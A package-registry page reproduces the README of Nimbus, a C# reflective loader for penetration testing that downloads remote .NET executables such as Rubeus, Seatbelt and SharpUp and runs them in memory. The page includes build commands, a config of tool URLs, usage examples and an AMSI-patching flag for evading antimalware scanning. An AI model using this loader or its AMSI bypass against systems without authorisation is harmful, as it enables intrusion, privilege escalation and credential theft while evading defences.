Nimbus
Summary
| Latest Version | Unknown |
|---|---|
| License | Unknown |
| CI Status | Failing |
| Stars | 1 |
| Forks | 0 |
| Open Issues | 0 |
| Last Commit | 2024-09-08 |
| Downloads | 0 |
| Last Indexed | 2026-08-02 04:47 |
Installation
nimble install Nimbus
choosenim install Nimbus
git clone https://gitlab.com/gerbot/nimbus
OS Compatibility
| Platform | Linux | macOS | Windows | FreeBSD | OpenBSD | NetBSD | Android | iOS | WASM | Embedded |
|---|---|---|---|---|---|---|---|---|---|---|
| Nimbus | ✓ | ✓ | ✓ | - | - | - | - | - | - | - |
Source
| Repository | https://gitlab.com/gerbot/nimbus |
|---|---|
| Homepage | https://gitlab.com/gerbot/nimbus |
| Registry Source | gitlab |
README
Nimbus
A minimal C# Reflective Loader for offensive security purposes.
Features
- Run remote C# compiled executable in memory.
- CLI-Arg friendly.
- Use a config file for your favourite tools.
- Automate your processes with pipelines.
- Perfect for penetration tests and CTFs.
Download
You can skip the first two step in the next section by downloading the binaries.
Setup
- Clone the repo
git clone https://gitlab.com/gerbot/nimbus.git
- Build the project
# 64bit
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:Nimbus64.exe /reference:System.Web.Extensions.dll /reference:Newtonsoft.Json.dll Nimbus.cs Utils.cs Config.cs
# 32bit
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:Nimbus32.exe /reference:System.Web.Extensions.dll /reference:Newtonsoft.Json.dll Nimbus.cs Utils.cs Config.cs
- Modify the
nimbus.jsonfile to add your favourite C#.Net executables. (Use the example provided as a reference)
{
"commands": {
"--rubeus": "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/dotnet%20v4.5%20compiled%20binaries/Rubeus.exe",
"--seatbelt": "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/dotnet%20v4.5%20compiled%20binaries/Seatbelt.exe",
"--sharpup": "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/dotnet%20v4.5%20compiled%20binaries/SharpUp.exe"
},
"pipelines": [
{
"name": "Local_Enumeration",
"tactics": [
{
"name": "Privesc Scanning",
"commands": [
{
"command": "--sharpup audit"
},
{
"command": "--seatbelt -group=all -full"
}
]
}
]
}
]
}
- Make sure Nimbus.exe and nimbus.json is in the same location.
5. Enjoy the buggy software.
Usage
===== Nimbus Help Menu =====
Usage: Nimbus.exe [options] <command> [--args <arguments>]
Options
--help Show this help message and exit.
--load <URL> Specify the URL of the executable to load and specify the arguments.
--show Show all the commands in your config file.
--amsi Enable AMSI patching (disabled by default).
--pipeline <name> Execute a predefined pipeline.
Examples
To load a executable into memory with the associated flags.
Nimbus.exe --load https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/dotnet%20v4.5%20compiled%20binaries/SharpUp.exe audit
Showing the options you have in your config file, along with the URLs:
Nimbus.exe --show
Running a command from the config file
Nimbus.exe --sharpup audit
Running pipelines can be done like so:
Nimbus.exe --pipeline <pipeline_name>
Optionally, if you want to bypass AMSI when doing it, you can make use of the --amsi flag.
Nimbus.exe --amsi --sharpup audit
Credits
- Many binaries I used to test with, and are present in the config file are from this repo:
-
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
-
The biggest source of inspiration:
- https://jfmaes-1.gitbook.io/reflection-workshop ***
- https://www.youtube.com/watch?v=E6LOQQiNjj0
Other sources I used for the idea and some inspiration: - https://offensivecraft.wordpress.com/2021/05/25/reflection-in-c-101/ - https://intezer.com/blog/incident-response/intro-to-malware-net-executable-file/
- After breaking multiple keyboards trying to parse JSON, I have given up and used this package provided by the brilliant https://github.com/JamesNK:
- https://www.nuget.org/packages/Newtonsoft.Json/
- Downloaded the package and unzipped, then went to fetch the .dll in
lib\net40
Known Issues
- Works well on Windows 10 and 11. Not so well on Windows Server 2016-2022 versions tho.
TODO
- Actually implement the
--configcommand. - Implement different AMSI Bypass methods.
- Implement different reflection methods.
- Make it run on the servers too.